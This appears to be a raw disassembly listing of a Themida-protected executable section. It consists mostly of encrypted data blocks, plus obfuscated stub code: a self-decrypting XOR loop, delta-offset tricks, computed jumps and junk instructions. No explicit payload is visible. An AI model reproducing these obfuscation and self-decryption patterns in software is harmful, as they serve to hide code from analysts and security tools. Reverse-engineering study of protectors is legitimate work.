dd 0FFB87798h, 7A4D828Dh, 7BEA02E7h, 0BF47DF5Ah, 0FCF340CFh
dd 63AADDE5h, 0CED947DFh, 0AB642A3Bh, 30384F76h, 47DF6357h
dd 0B1861924h, 0F2FAB9A8h, 49F164E8h, 887FCCD7h, 1C51BECFh
dd 6E9AEDF5h, 0DEE94DF1h, 20BE073h, 474C5413h, 2C500411h
dd 71E16221h, 2BB8581h, 17F898F9h, 315C1584h, 905828Ah
dd 6B7647E6h, 731AB300h, 0CC161D9Ch, 973CEDBFh, 115CD0h
dd 0B55A3700h, 52BDCF68h, 0F11E6C05h, 8B840BA4h, 27E8A53Eh
dd 23CBEADAh, 0BF58A56Ah, 5DF643CCh, 0F68FDC33h, 502A7798h
dd 728EF901h, 10ED4DF8h, 0F5FD143Ah, 47DF5F92h, 4253E6F1h
dd 0DE77C44Bh, 0C082A1B0h, 9AF61A74h, 0BA163C71h, 0A30E7FA6h
dd 5B14A056h, 0B7FE02Fh, 69FCCF04h, 0A4D93658h, 0DFAD667Dh
dd 7828FB30h, 47DF600Fh, 0BDCE616Ch, 58F13ED1h, 0DFA8DD32h
dd 0A31360AFh, 0E2CFD8A1h, 75331B23h, 475249F1h, 0C9040788h
dd 889E2CF2h, 7A14F4F5h, 805E5BD2h, 0C3CB8A77h, 3B89CE4Bh
dd 6DFA2F3Ah, 0B6BE7D64h, 417D505Fh, 0C34C4344h, 22FDFD8Eh
dd 19B89BF9h, 0CB8443AEh, 0D48D4CC3h, 512459B6h, 6628C1BEh
dd 3A232AA9h, 8A2F1C26h, 1088C3h, 0E12E6300h, 7E91FB94h
dd 1DF29831h, 0B75837D0h, 53BCD16Ah, 4F9F1606h, 0EB84D13Eh
dd 89226FA0h, 22BB0807h, 7C56A36Ch, 7362252Dh, 44214DF8h
dd 3B93146Eh, 0EFF1BB3Bh, 6F1F30C3h, 8B446BA0h, 0A87D10FFh
dd 0EBF3B29Fh, 49F20943h, 0C54A4142h, 0A7B00D5Ah, 0BF3FBBAh
dd 3A5003F8h, 5159702Fh, 47DFE436h, 0C2A73A45h, 0DFE3E1AAh
dd 0EBF61247h, 0BC7A2CA4h, 48F922h, 510A0000h, 0CC9FD43Bh
dd 0A5AE0B39h, 7F901C0h, 3A49F1AEh, 0CEF12871h, 0C77523Dh
dd 16F9944Dh, 0C7B0EE1h, 85D23D53h, 0F257F09Dh, 4FC0CE4Dh
dd 0E8276902h, 0BC758CB3h, 35083DD2h, 0F2580285h, 0E376814Dh
dd 0FC8D4h, 0A5AE3E00h, 0E8F901C0h, 0D749F66Fh, 3A540DCCh
dd 9FEF88D5h, 929AB170h, 4DF86FF5h, 3E87B86h, 0C9886D76h
dd 0F7D47C1h, 702F3A50h, 0EB38D7B7h, 9ED33C52h, 5A190811h
dd 7E4C3B43h, 629E47DFh, 276C9420h, 0E6A5B048h, 0E02DA9DEh
dd 3CCFDA47h, 4DADC5CDh, 8D9849F2h, 0ABB4310Eh, 0D59C41EBh
dd 0F65h, 71BE5140h, 0E5BB4D8h, 0ADFA1575h, 47947B14h
dd 0E330DFAEh, 612CC2F3h, 0C3C861AEh, 2A66FF4Ch, 8FFF98E5h
dd 0A593380h, 0F8748502h, 4319F64Dh, 0DF5F6823h, 7273F447h
dd 84528472h, 8A81060Eh, 0F70247DFh, 211D638Ch, 9F5915D9h
dd 472E370Ch, 6CC08088h, 0E8F349F7h, 0F11E7029h, 96830BA4h
dd 7AAF1AF5h, 8307E4EDh, 1984578Ch, 63DC525Ah, 0BC4500Bh
dd 82558A85h, 1D9CA7EFh, 0EDB28838h, 0DEAE751Ah, 0B900000Eh
dd 51EA37D8h, 0EE87D43Bh, 8D26739Ch, 27C00D02h, 6C5CA966h
dd 27E8A549h, 0C54A41DAh, 5EB1DF78h, 0F9167811h, 7B83D2ACh
dd 4DF8750Ch, 72BC926Fh, 7F90FD1Ch, 4D0C774Ah, 6C22F794h
dd 309B6EA3h, 9FEFB89Dh, 0C1503B70h, 0FC8B93AAh, 7F47DF5Fh
dd 5FC3C474h, 0B5C047DFh, 840BD622h, 22BCE20Ch, 965D9h
dd 5B142B00h, 754ADD32h, 222EC76Ch, 0DB10FF90h, 1AF8DF08h
dd 21276068h, 495447E0h, 9DB473DEh, 1172E51Ch, 0CAC0B6FEh
dd 1379DA45h, 2A0969FCh, 9949F6CAh, 0FFB8CF8Eh, 6A21828Dh
dd 8D0112A5h, 0F29C3582h, 0BBD0E81Dh, 3B4DF8B1h, 0AEE28532h
dd 0B9AAFB14h, 931D6390h, 7EE9E0CBh, 938606BFh, 15A813FCh
dd 0FA909EA6h, 2C37500Ah, 0B2FF3EADh, 480FB4EDh, 0E01h
dd 0D5AB5DCh, 0AAF71874h, 49967911h, 0E330DFB0h, 7FCC434Ah
dd 0C5C8268Fh, 2764FD4Ah, 8E029BE8h, 0F39B3481h, 0A6F5CF1Ch
dd 0F875E99Eh, 0E7BD9A4Dh, 0BEF31C72h, 0B77699F5h, 5FEF98A0h
dd 818C47DFh, 4F4009EEh, 0CCC28BC0h, 95490E43h, 0A814974Ch
dd 0F4975039h, 3BA66925h, 0E25B3BA8h, 8B9022BCh, 0E2000008h
dd 0DF5F6823h, 0A0858E47h, 0B76228E1h, 2E0136D9h, 0B9C130C3h
dd 49F66FBAh, 661FDEE9h, 0ED5C2928h, 64DAE9Ah, 0D9B54E9Bh
dd 6B740136h, 6FBFC786h, 0EF500B67h, 9CD25A6Eh, 18AB1409h
dd 0AF46C5D0h, 23EDB2DFh, 0D53B77Eh, 632E0000h, 0C6C65FACh
dd 2763FC49h, 8D029BE8h, 0F19C3582h, 0D4E1D11Eh, 4F9C731Ah
dd 0ED3AD5B6h, 86D33C54h, 216EA1EDh, 97F0F847h, 0E44DF876h
dd 1C723107h, 0F7B34F3h, 588D820Ah, 0A2871A85h, 41CEC27Bh
dd 95A6390Ch, 0F6E116F9h, 5030578Ah, 8522BCE2h, 7EAh, 0C0A5AED7h
dd 6FA9F901h, 899449F6h, 0C632B3CAh, 40AE30BBh, 29E6A506h
dd 6098596h, 0A16E20B9h, 4737546Ch, 0B6BF4DF9h, 260810CFh
dd 7A500B5Ah, 6EB088F9h, 56AE8A48h, 9355EF7h, 384F57D3h
dd 4B47EAD9h, 0FA42D540h, 127D92F9h, 0B21CCC93h, 0FAC166EDh
dd 0CA5h, 0B1FE1180h, 4E9B7418h, 0ED3AD5B5h, 87D43B54h
dd 23709FEEh, 216C8233h, 8308A1EEh, 0EAA63F8Ch, 4F3FD825h
dd 4A9973C0h, 0F8764542h, 8359364Dh, 0BEF31C72h, 0B899F5h
dd 0C620F6B1h, 0B16A2994h, 0B99E31DEh, 87F62CEh, 22BC8E88h
dd 7415Dh, 6723AF00h, 8947DF5Fh, 0CAD29180h, 49F66F7Bh
dd 0A7BE7D88h, 0F86EE89Fh, 0FD909B4Dh, 56B9D58Eh, 0F11E7009h
dd 81262FBCh, 5B302F8Eh, 83AC7FB4h, 0D7428B72h, 0A7C61018h
dd 0F30A500Ah, 0EA839CEBh, 41D4DF47h, 0F5929AF9h, 8647EA83h
dd 0C491107Bh, 6EEDB241h, 0BFB02C9h, 0BBD60000h, 1E6E0754h
dd 7F0BA4F1h, 0E5AA4390h, 4944DD2Ah, 2C8979C6h, 0F744CBC2h
dd 95E22D5Eh, 2E7B94FCh, 0C916F995h, 0EF98A0EFh, 8C4DF877h
dd 5B14D9AFh, 3C4DE02Fh, 0BF88BD52h, 2C0B40CFh, 975039A8h
dd 13E61BF4h, 0F01F6F80h, 0FED6AEA3h, 840322BCh, 55000001h
dd 0BEF31C72h, 43F91697h, 955729FDh, 19AC17F8h, 3C898608h
dd 30EFD6DFh
dd 0E02F6019h, 0E545D8ABh, 49F289A9h, 5EB1DBDCh, 0E32C6029h
dd 570DBAEh, 31D3B8D0h, 0A9E74DF2h, 24683166h, 0F008AEBh
dd 9B4632DAh, 319DEAF2h, 0D3DE4DF2h, 0BD244068h, 9D721BD4h
dd 30259D0Ah, 33F224AEh, 44000000h, 1C0A5AEh, 0F17ECDF9h
dd 0F82D3849h, 0F2D50D1h, 0A7AA0DC9h, 93C84746h, 0BECD2DC0h
dd 354DF1AFh, 0C1C1C819h, 0A924AEAEh, 0DC6FA0F0h, 0E4DAh
dd 5B142C00h, 0E2ABE02Fh, 5B2E63ACh, 424C5DF0h, 0BECF98CDh
dd 3B531C51h, 600F7880h, 2CDB47DFh, 6179CA4Ch, 2D98A33Bh
dd 7618D1F8h, 0D2916499h, 0DF67BDCAh, 20B3BE47h, 43907F0Fh
dd 0DF8C3A5Bh, 0E12E6047h, 472E3794h, 0D3B87188h, 0D049A93Ch
dd 0AF49F225h, 612CE5A4h, 5536EFAEh, 0D83759BAh, 403DD0A3h
dd 2B05C849h, 0ED5D73F1h, 0F363A2E5h, 6BD6E14Dh, 53C6C7D8h
dd 0ED6CD738h, 0EBAD6156h, 8EB0771Ch, 6900000Ah, 19AE728h
dd 9E37848Bh, 3DD623ECh, 0D770BD52h, 1C0C59B6h, 0D7385599h
dd 759AF18Ah, 0E018F28h, 0A96628C1h, 2B33825Ch, 4DF8795Ch
dd 726C421Fh, 0C0BA361Bh, 0CC4EE83Ch, 9C1D1461h, 0D87CE47Ah
dd 3849DC9Bh, 0E3FAB956h, 0FCAC632Ah, 47DFA18Bh, 7798F7F8h
dd 0A3046F42h, 949124EBh, 0F31C72DEh, 7699F5BEh, 5109229h
dd 0AEFC0000h, 0C3B102A5h, 0ACEA0845h, 636B8241h, 47DFF024h
dd 4AB94C57h, 0F1F93842h, 9D5C6749h, 1A79DC1Ch, 3FD262E2h
dd 137A335Ah, 820969FCh, 384DF168h, 44CBC455h, 9CD13C0Fh
dd 2055BAD3h, 513AA75Bh, 0F1693E49h, 0C7323D4Dh, 275E839Fh
dd 24AEF7AFh, 2427Ch, 6123CE00h, 0ED47DF5Fh, 57B85734h
dd 0CFA2D738h, 775E673Ch, 6FCBB0B8h, 0EDF849F6h, 0F619752Eh
dd 917E10A9h, 0C3B4355Ch, 2E43336Bh, 9DE71h, 0F5995211h
dd 7F12E51Ah, 49CE0810h, 2E39500Bh, 0B2A70EAFh, 783FE4EDh
dd 981h, 8DDA355Ch, 2A7798F4h, 0C916F991h, 63B05F30h, 0FF4CC3CAh
dd 4548A60Fh, 0A7E47DCAh, 0E821B68h, 731BB401h, 26754F9Ch
dd 0F87A691Eh, 673D1A4Dh, 0BEF31C72h, 78D61697h, 56E95E20h
dd 0E37699F5h, 1E53BCD2h, 0BB26BB3Fh, 0CF4A46D3h, 4A1D52BDh
dd 322774DFh, 22BC6E52h, 19A87h, 0AFDF9800h, 729FCD60h
dd 0F5BEF31Ch, 6D1A2299h, 0E47DF5Fh, 0EE4B9803h, 8D820AE5h
dd 335B6322h, 2B49F18Dh, 0BDF21D72h, 0E7996F4h, 0CCD4337Bh
dd 4DF18EBBh, 1D52BDC8h, 0F18E8605h, 90516D4Dh, 0AECD99F9h
dd 604E24h, 0DE5F0000h, 46EA320Ch, 0ADDB6E53h, 1C0A5AEh
dd 608B9680h, 0B1704744h, 0E04CDEA9h, 0FF929D47h, 6C3E8890h
dd 3E4949F2h, 51C8C67Fh, 416AD53Ah, 0B7D68220h, 856AFDBCh
dd 0F1C31E6Dh, 28B9D54Dh, 26E9A65Fh, 0BDF51EF1h, 8EA93991h
dd 8B0B780Bh, 0F324AECBh, 0B6504072h, 8316119Eh, 0D281h
dd 1C72D300h, 477C93FDh, 0BD40974h, 8F588D82h, 985110FFh
dd 0AB6426F3h, 0A538A376h, 7897F7C0h, 0A842432Bh, 0F30A47DFh
dd 86BB543Ah, 0B28403B3h, 0ECF747DFh, 0B1A045C3h, 16A9B00Bh
dd 0FB908905h, 0A10CDF14h, 7EEF754h, 14FB8F48h, 0D7B0B8DFh
dd 0A447DFB5h, 2C9B2E99h, 0F257F524h, 8C7D249h, 5B9EE9F1h
dd 0DCDD4DF4h, 572A5FB0h, 0C038BECh, 27104D7h, 0CCB4449h
dd 0AAE23753h, 0F25D3065h, 5A57EABDh, 7985CCC1h, 68507D8Fh
dd 0CD7AF964h, 25EBAD6Ah, 7E3B980h, 0D3BE0000h, 3656EF3Ch
dd 97F38CD9h, 0FD922B78h, 612CC512h, 447161AEh, 0DF2CE3AAh
dd 7DCA4546h, 1663ACE4h, 0B1FE117Dh, 78088D7h, 744DF87Ch
dd 1B72C197h, 800EA7F4h, 728C428Fh, 0F5BEF31Ch, 6D1A2299h
dd 0E47DF5Fh, 0B44B9803h, 282h, 0C9BEC6DDh, 0BA47DF5Fh
dd 0AEEE1CAFh, 0F901C0A5h, 49F66FACh, 13747CDBh, 704DF870h
dd 0ADC5FA65h, 4DF86FDEh, 285DB2DCh, 0ABE02F5Fh, 15CA1703h
dd 7910D1EDh, 24A5EE19h, 63C7E061h, 0B4B9AC2Fh, 0F8BFDBACh
dd 329DA84Dh, 2139D9Fh, 0F5AE0000h, 30C7E9Bh, 23D70598h
dd 47DF5F61h, 0D8977E87h, 0F66FDDD0h, 0A7E9EA49h, 853EFD68h
dd 20B90609h, 42454D6Eh, 414DF870h, 996CB36h, 99521100h
dd 168518F7h, 0A85C80Eh, 0A5242F50h, 0EDB26000h, 0FEE6AD52h
dd 0D9000006h, 710A57B8h, 0EA7F41Bh, 0AD46937Ch, 47E02DE2h
dd 8C7CC946h, 47C8C529h, 0E52A61FAh, 7E91FF98h, 19F69831h
dd 9BA3F2CCh, 4DF87CECh, 72DCB28Fh, 97BEF31Ch, 295EB1DEh
dd 0DCB2C356h, 9B1FFE33h, 0C8F39B46h, 0DF5FC7C0h, 3EA9B447h
dd 784FE7Fh, 0EE57C672h, 0D80D028Dh, 80757205h, 22BC0000h
dd 164D5h, 5F2DE600h, 6A33545Ch, 455047E0h, 3FD2A5DAh
dd 351C7211h, 52AE3248h, 0C2F762CAh, 88495F9h, 94FFD207h
dd 0F4E1EA47h, 0FD612D35h, 192449F1h, 0BDBFCCE4h, 18344DF1h
dd 0BCC2C2C9h, 29AA24AEh, 951819DEh, 8A8C1FA6h, 44h, 66A9E29Bh
dd 5B14A5D3h, 0D6A9DE31h, 0C0F51A75h, 7C855AEDh, 683E8ED7h
dd 81EC3AC8h, 600CBAC2h, 0D35449F2h, 0D36AB08Ch, 64EE154h
dd 19848B05h, 5ABFCCE4h, 18344DF2h, 5C2C2C9h, 0BC1724AEh
dd 69000000h, 0BEF31C72h, 0A3B998F5h, 3B25361h, 99629702h
dd 1CE51AF5h, 0C7DE9D72h, 9DFA8B0h, 919C47E0h, 0E009A6E1h
dd 37CAD547h, 242C433Ah, 47E00963h, 0DAB41520h, 7342A235h
dd 5747E07Bh, 63ACE237h, 454EABF8h, 1320A160h, 5C8BE340h
dd 1F279629h, 49F204FAh, 661FDEE9h, 589EA25h, 4F08770Ah
dd 0EB84D13Eh, 0ADEE6DA2h, 0C5EBADCFh, 5975920h, 1F720000h
dd 820AA3F0h, 0E3A7408Dh, 4946DF2Ch, 0ADE079C6h, 90251562h
dd 93E02F5Eh, 317E91FAh, 0CA17F898h, 65B25D31h, 53343C8Bh
dd 304DF87Eh, 1B727D53h, 800EA7F4h, 5F54333Bh, 0C82747DFh
dd 0DF5FC7C0h, 3EA9B447h, 72D086D3h, 0F5BEF31Ch, 2934B899h
dd 5F4AFC2h, 9D564D9Ah, 7D8C1FF0h, 22h, 0F31C72E7h, 8099F5BEh
dd 6196010Eh, 0BF2AB7CBh, 8140CFh, 0FE2FEFC7h, 2623B6F8h
dd 128Fh, 1C72F900h, 0E8A6BEF3h, 8547DF5Fh, 117D6879h
dd 14FBB1FEh, 7C1F325Bh, 24707A50h, 3546D944h, 42CFF859h
dd 669B4E27h, 3039C6FBh, 0B26B8241h, 43A336D9h, 49F6B19Eh
dd 2C43020Dh, 0A01C56ABh, 56E9F8CBh, 79C64945h, 2C61AEE0h
dd 0F0AF969Fh, 25B85737h, 0C5AAEB6h, 1A255010h, 23ECA25Bh
dd 42454D64h, 7847DFF0h, 965FF718h, 0A0A18855h, 48A9142Ah
dd 3835C847h, 0EB20EF9Fh, 0B170555Eh, 0F250C9A9h, 6AE9F449h
dd 0EBABA85Bh, 820BD277h, 5D000004h, 0F58EDB34h, 922B7897h
dd 31CA17F8h, 0CB64B15Eh, 10004DC2h, 0CB4449A5h, 69A6E57Eh
dd 20D831Ch, 9D721CB5h, 1F277650h, 4DF87F68h, 72683E1Bh
dd 1D34F31Ch, 35E52A64h, 47DF5F52h, 0B15E3031h, 153EA97Ch
dd 0C8BA923Ch, 5C59ECD1h, 0F44CBC3h, 0B15E2FE8h, 8E810D1Eh
dd 0EBF67A59h, 4838BA2h, 5047DFD8h, 0DFD83F48h, 99313C47h
dd 0A4EAFB8Eh, 0FF80F7ADh, 0D23DF077h, 69309085h, 0BF7822BCh
dd 380B40CFh, 2DA3A5h, 0AEF50000h, 0F901C0A5h, 49F1AE07h
dd 0B7702F3Ah, 1E936D9h, 4DF1AD8Ch, 66B35C32h, 174CC3CDh
dd 15BB6FF0h, 0FD28B73Bh, 3CB5B6Ah, 72C50000h, 0F5BEF31Ch
dd 32297699h, 0C5FA1579h, 73F78334h, 0E6512D63h, 90757E53h
dd 60C5C9D1h, 0B5C049F2h, 5B236880h, 0B4D04DF2h, 196E662Dh
dd 2FBB24AEh, 0D000000h, 1C0A5AEh, 0F17ECDF9h
dd 0F2FA1149h, 4DF18095h, 48DBE6h, 0E3A8C0F5h, 104DF180h
dd 2EA6EDF4h, 0FB24AEDFh, 0B8h, 0D837530Ch, 1C721745h
dd 98F5BEF3h, 90FFB877h, 3E07EC7Fh, 0C18ABF50h, 0FEF542CDh
dd 0BDCF4A45h, 0DFB2E752h, 5A79EC4Ch, 9E5747DFh, 7B8C1FF0h
dd 16AFFC13h, 0FD67D978h, 396F1F9h, 0DAE547E0h, 0E87CCCB1h
dd 0B2BB487Dh, 5AFC04C3h, 3D49F17Bh, 7F88E532h, 50CBD392h
dd 33500424h, 0E0B06928h, 9427FA2Fh, 0EE216C25h, 9BF1AAA1h
dd 0D96C3F74h, 0CB4AC5C8h, 0EDBFEAC4h, 0EEA2690Eh, 0C9000002h
dd 61FA47C8h, 0FE97E42Bh, 9D36838Ch, 37D01DF2h, 7C6CB956h
dd 37D8B539h, 0D53A51EAh, 6EA1EF88h, 9068821h, 8B93E2BCh
dd 4DF880FCh, 72CCA27Fh, 0EA7F41Bh, 8C428F80h, 1C0A5AEh
dd 0F17ECDF9h, 57373849h, 45B083B8h, 8093F810h, 44604DF1h
dd 0DF9EF69Dh, 0E34B24AEh, 5C000000h, 0F328E7A3h, 145F8D20h
dd 5F92F5FDh, 0E6F147DFh, 0C34C4253h, 51C8C58Eh, 11767E3Dh
dd 7247DF60h, 0EF9BFC67h, 0AD18EB20h, 5B056078h, 256947DFh
dd 8A049DEAh, 0BAC35085h, 0EE59B6D5h, 0FA15762Fh, 66F0F867h
dd 5149F15Ch, 659DEAF2h, 0D3DE4DF1h, 9BF0A968h, 0D96C3F74h
dd 8F767FDCh, 7F6C8D0h, 72D15004h, 628294F1h, 0D989A82Bh
dd 47E5ADAEh, 9857C2CDh, 1461AEDFh, 7EFD127Bh, 0EDBF2803h
dd 0AE3AA4Fh, 0E5000002h, 7D1663ACh, 1AB3000Fh, 0B9529F70h
dd 53EC39D6h, 9888D53Ah, 53BCD11Dh, 0F11E6D06h, 8A850BA4h
dd 25EAA43Dh, 0A7AFFED8h, 4DF881E0h, 72F0C6A3h, 838CFE1Bh
dd 3AD85918h, 87A3BCAFh, 8A817E11h, 431EF273h, 0AE9206D8h
dd 0DF9789FEh, 92F9FA47h, 0A75487Dh, 0E7286677h, 5B14E49Ah
dd 3C4DE02Fh, 0BF88BD52h, 5AF340CFh, 87F8734h, 0EA47DF60h
dd 139DA059h, 0FE09A1BFh, 0C8D15E93h, 90121AD9h, 5F49F1D7h
dd 767E9554h, 4DF1D911h, 0EFD46772h, 5B865B47h, 641DDC33h
dd 0DBAEE32Ch, 0E5EE4B48h, 49394100h, 4D5003E4h, 0A456FB94h
dd 39852F9h, 0A97CB11Ch, 9A5E2EAh, 0CBD647E0h, 9CEFF038h
dd 0BAAD3E73h, 0CB6F3C92h, 3A6FDA45h, 0FC341D71h, 3857FAAEh
dd 7A33F25Dh, 866BFE11h, 2605DCF0h, 0F879381Dh, 3FD78F1Fh
dd 73E275F0h, 5072DB5Ch, 0D773DD84h, 859EE444h, 9EA949F1h
dd 39D6B851h, 6A24DD04h, 0E3A770A5h, 0B924F72Ch, 947B1526h
dd 301554D5h, 0E75DCDE1h, 0DBC76F54h, 5CB3DB06h, 0F901180Fh
dd 4DF1638Eh, 7A4FE2EDh, 50018E71h, 6FA37753h, 0A5DA45BDh
dd 0A0A867D2h, 5003D702h, 6A23E2EDh, 775CEF20h, 56313950h
dd 2547DFD7h, 735C835Ch, 9740840h, 0E6296576h, 41FA09B1h
dd 0E430C34Ch, 40252EFDh, 34E96A81h, 77D5C260h, 0FF107EDFh
dd 464F7CAh, 49F1909Eh, 64232B42h, 174DF161h, 2DE2AB0Ch
dd 4A9225F8h, 8C95F23Fh, 2EDEE6A5h, 2150086Fh, 0EC9E5716h
dd 0E2AB9023h, 7D1663ACh, 181E4011h, 0B16003D8h, 68708746h
dd 47EA661Fh, 655A2D35h, 1E2947EAh, 3E87B86h, 987000EBh
dd 88596D1Fh, 4920315Dh, 733EAD52h, 0CB4C0B76h, 0EEF3EC03h
dd 3633C69Fh, 0E91EF19Dh, 6BA06F20h, 0DF0AD7C3h, 7A1360AFh
dd 0FFC6FB14h, 15h, 0F5FD1469h, 47DF5F92h, 0FD8A92F1h
dd 7E47DF5Fh, 14750873h, 0F01F7226h, 739CF2BBh, 0F41B753Eh
dd 7A95F6BFh, 0FE117C45h, 828D00C9h, 40B844Dh, 8B8406CFh
dd 10FF8D56h, 9A68D4DBh, 89000021h, 6C682404h, 8900007Bh
dd 66682434h, 89000072h, 8682414h, 8B061911h, 0C4832434h
dd 148B5404h, 4C48324h, 89585650h, 8B580842h
; ---------------------------------------------------------------------------
adc al, 24h
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
mov esi, [esp]
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp]
pop esp
jmp loc_583BD9
; ---------------------------------------------------------------------------
mov bh, 0AFh
dec byte ptr [ebp-42h]
db 64h
push ss
pop esi
adc al, 71h
cmp [edi-48h], eax
loc_5EE002: ; CODE XREF: Themida_:loc_5ECB33j
mov eax, 61924BCh
add eax, ebp
jmp eax
; ---------------------------------------------------------------------------
db 42h
dd 0F77BA681h, 1747D248h, 887E97A9h, 748F596h, 0F80006D6h
dd 83684516h, 101B87A2h, 0C56D49F2h, 6E13B9ACh, 0F358D006h
dd 1A217C30h, 0D958E328h, 0E8342C9Eh, 11h, 3E5A1909h, 27A76B04h
dd 5E1D0372h, 28A48F51h, 0F18B6647h, 0FBE6658h, 52C081A6h
dd 6600006Bh, 0FF33CF8Bh, 67CC381h, 148B2726h, 7DC28138h
dd 6616A543h, 8130FDBEh, 275FCFEAh, 0F681660Ch, 0EA81423Fh
dd 5B854F09h, 17C98152h, 8F0663CDh, 0F6813804h, 5D8CA187h
dd 3810Fh, 0F9570000h, 7CEF815Bh, 0E840BD4Eh, 10h, 0E3F14CCh
dd 1F4D19E2h, 116E939Dh, 0F0106856h, 0E269BE66h, 78C7815Bh
dd 0B740BD4Eh, 70FF8106h, 0FFFFF95h, 1485h, 46BBE00h, 27E92901h
dd 0B3000000h, 94F932D2h, 0A780A2C4h, 5E922h, 56EE0000h
dd 0E9BF92DFh, 0FFFFFF72h, 0BC149BDEh, 0AF3D4616h, 815A0A04h
dd 85C6849Eh, 61215C1h, 30DF6856h, 0B5FFA9C5h, 6123101h
dd 827A858Dh, 0D0FF0615h, 293D8D8Dh, 6A510612h, 2DB5FF40h
dd 0FF061217h, 122DC1B5h, 0FFD0FF06h, 12172DB5h, 0C1B5FF06h
dd 0E806122Dh, 14h, 925D145Ah, 0BD3C6A25h, 0D126D72Fh
dd 75D90191h, 0EEAD8B2Eh, 0E8835858h, 242CC104h, 2424C102h
dd 24040302h, 68241CF7h, 0
; ---------------------------------------------------------------------------
pop edx
loc_5EE179: ; CODE XREF: Themida_:loc_5EE1B5j
push dword ptr [edx+eax]
pop esi
xor esi, 0A802775h
xor esi, 55131860h
sub esi, 720FDD84h
mov [eax+edx], esi
sub edx, 3
dec edx
cmp edx, [esp]
jnz loc_5EE1B5
jmp loc_5EE1C7
; ---------------------------------------------------------------------------
dd 2F5534F5h, 0A40981BFh, 4E856B32h, 865F4867h
db 83h
; ---------------------------------------------------------------------------
loc_5EE1B5: ; CODE XREF: Themida_:005EE199j
jmp loc_5EE179
; ---------------------------------------------------------------------------
lahf
fbld tbyte ptr [ebp+3Eh]
std
inc edx
movsb
jge short loc_5EE231
fld tbyte ptr [esi+ebp*8+2Ah]
loc_5EE1C7: ; CODE XREF: Themida_:005EE19Fj
lea ebx, [ebp+6120849h]
mov eax, [ebx]
or eax, eax
jz loc_5EE1DE
mov eax, [ebx]
mov ebx, [ebx+4]
mov [eax], ebx
loc_5EE1DE: ; CODE XREF: Themida_:005EE1D1j
mov ecx, ecx
jmp loc_5EE344
; =============== S U B R O U T I N E =======================================
sub_5EE1E5 proc near ; CODE XREF: sub_406890+12Bp
; sub_409BC0+1Cp ...
push edx
mov edx, esp
pusha
call $+5
pop ebp
sub ebp, 6192714h
mov eax, [edx+8]
cmp eax, 78263845h
jnz loc_5EE33B
mov eax, [edx+0Ch]
mov ecx, [edx+18h]
ror eax, cl
mov ebx, 4FC26D10h
xor eax, ebx
sub eax, 4
mov [ebp+6122DCDh], eax
mov ebx, [eax+4]
mov edi, eax
mov eax, [edx+10h]
mov ecx, [edx+18h]
ror eax, cl
mov esi, 0A754712Ah
xor eax, esi
sub eax, edi
loc_5EE231: ; CODE XREF: Themida_:005EE1C1j
and eax, 0FFFFFFFCh
sub eax, 4
mov [ebp+61231BDh], eax
mov eax, [edx+14h]
mov [ebp+6120011h], eax
mov eax, [edx+18h]
push ebx
jmp loc_5EE2FF
; ---------------------------------------------------------------------------
push dword ptr [ebp+6120841h]
jmp loc_5EE313
; ---------------------------------------------------------------------------
push dword ptr [ebp+61225B1h]
jmp loc_5EE313
; ---------------------------------------------------------------------------
push dword ptr [ebp+61214C1h]
jmp loc_5EE313
; ---------------------------------------------------------------------------
push dword ptr [ebp+61229E5h]
jmp loc_5EE313
; ---------------------------------------------------------------------------
push dword ptr [ebp+6120C89h]
jmp loc_5EE313
; ---------------------------------------------------------------------------
push dword ptr [ebp+6122B19h]
jmp loc_5EE313
; ---------------------------------------------------------------------------
push dword ptr [ebp+61229B1h]
jmp loc_5EE313
; ---------------------------------------------------------------------------
push dword ptr [ebp+61231C5h]
jmp loc_5EE313
; ---------------------------------------------------------------------------
push dword ptr [ebp+6122431h]
jmp loc_5EE313
; ---------------------------------------------------------------------------
push dword ptr [ebp+6122D79h]
jmp loc_5EE313
; ---------------------------------------------------------------------------
push dword ptr [ebp+61219B1h]
jmp loc_5EE313
; ---------------------------------------------------------------------------
push dword ptr [ebp+61229A5h]
jmp loc_5EE313
; ---------------------------------------------------------------------------
push dword ptr [ebp+61232E5h]
jmp loc_5EE313
; ---------------------------------------------------------------------------
push dword ptr [ebp+61231F1h]
jmp loc_5EE313
; ---------------------------------------------------------------------------
push dword ptr [ebp+6120835h]
jmp loc_5EE313
; ---------------------------------------------------------------------------
push dword ptr [ebp+61213A1h]
jmp loc_5EE313
; ---------------------------------------------------------------------------
loc_5EE2FF: ; CODE XREF: sub_5EE1E5+65j
mov ebx, eax
mov eax, 0Bh
mul bx
lea ecx, [ebp+6192775h]
add ecx, eax
jmp ecx
; ---------------------------------------------------------------------------
loc_5EE313: ; CODE XREF: sub_5EE1E5+70j
; sub_5EE1E5+7Bj ...
call dword ptr [ebp+6122781h]
pop ebx
loc_5EE31A: ; CODE XREF: sub_5EE1E5+14Ej
mov eax, [ebp+6122DCDh]
cmp [eax+4], ebx
jnz loc_5EE338
push ebx
push 1
call dword ptr [ebp+61229D1h]
pop ebx
jmp loc_5EE31A
; ---------------------------------------------------------------------------
loc_5EE338: ; CODE XREF: sub_5EE1E5+13Ej
popa
pop edx
retn
; ---------------------------------------------------------------------------
loc_5EE33B: ; CODE XREF: sub_5EE1E5+18j
popa
pop edx
mov eax, 7E41A8ADh
jmp eax
sub_5EE1E5 endp
; ---------------------------------------------------------------------------
loc_5EE344: ; CODE XREF: Themida_:005EE1E0j
mov eax, [ebp+6121321h]
lea ecx, [ebp+6192863h]
mov [ecx+1], eax
mov eax, ebx
lea ecx, [ebp+619296Ah]
push 0
push ecx
call sub_5EE366
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5EE366 proc near ; CODE XREF: Themida_:005EE35Ep
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 16h
inc ecx
push ecx
retn
sub_5EE366 endp
; ---------------------------------------------------------------------------
mov al, 54h
stosb
mov [ebp+6121F89h], eax
push esi
or [ebp+6121DCDh], edx
pop edx
jge loc_5EE390
sbb ah, 0D9h
loc_5EE390: ; CODE XREF: Themida_:005EE387j
mov [ebp+6122DCDh], ecx
push 0
push edi
call sub_5EE3A1
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5EE3A1 proc near ; CODE XREF: Themida_:005EE399p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 1Ch
inc edi
push edi
retn
sub_5EE3A1 endp
; ---------------------------------------------------------------------------
db 93h, 91h, 73h
